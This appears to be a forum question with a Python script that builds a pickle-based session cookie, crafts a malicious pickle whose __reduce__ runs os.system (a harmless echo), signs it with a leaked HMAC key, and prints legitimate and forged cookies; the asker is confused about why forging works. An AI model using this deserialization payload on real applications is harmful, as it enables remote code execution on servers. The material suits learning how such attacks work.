import hmac
import hashlib
import base64
import pickle
SECRET_KEY = b"super-secret-key"
session_data = {"user": "Alice", "role": "admin"}
pickled_data = base64.b64encode(pickle.dumps(session_data)).decode()
print(f"THe session data pickled and encoded: \n {pickled_data}")
# Create HMAC signature
def sign_cookie(data, secret_key):
return hmac.new(secret_key, data.encode(), hashlib.sha256).hexdigest()
signature = sign_cookie(pickled_data, SECRET_KEY)
cookie = f"{pickled_data}.{signature}"
print("Legitimate Cookie: \n", cookie)
class Malicious:
def __reduce__(self):
return (exec, ("import os; os.system('echo Hacked!')",)) # Arbitrary code execution
# Attacker creates a malicious payload
malicious_payload = base64.b64encode(pickle.dumps(Malicious())).decode()
# Compute a new signature using the leaked secret key
forged_signature = sign_cookie(malicious_payload, SECRET_KEY)
# Construct the forged cookie
forged_cookie = f"{malicious_payload}.{forged_signature}"
print("Forged Cookie:\n" , forged_cookie)
Cookie backed sessions are stored on a client machine. But if the cookie is intercepted by an attacker and the attacker also happens to know the SECRET_KEY used in the hash of the signature, the attacker is said to be able to modify the cookie session data with a malicious payload. My question is how can the attacker modify the session data and recompute the same signature using the SECRET_KEY if modifying the session data changes the signature? Isn't that the whole point of signing data, that if its modified its been tampered with and should not be used. In the above script you can see the Legitimate cookie and Forged cookie are different when the session data is changed.
gASVIwAAAAAAAAB9lCiMBHVzZXKUjAVBbGljZZSMBHJvbGWUjAVhZG1pbpR1Lg==
gASVIwAAAAAAAAB9lCiMBHVzZXKUjAVBbGljZZSMBHJvbGWUjAVhZG1pbpR1Lg==.9253ce600719d8a8fb8325f8b79f0d09399bf46071e7edd2029c51099eb16627
gASVQAAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIwkaW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ2VjaG8gSGFja2VkIScplIWUUpQu.324cbd4a0ef1110e82ad7788fe205118ffc7a4df469bc38b038ed98d8864b887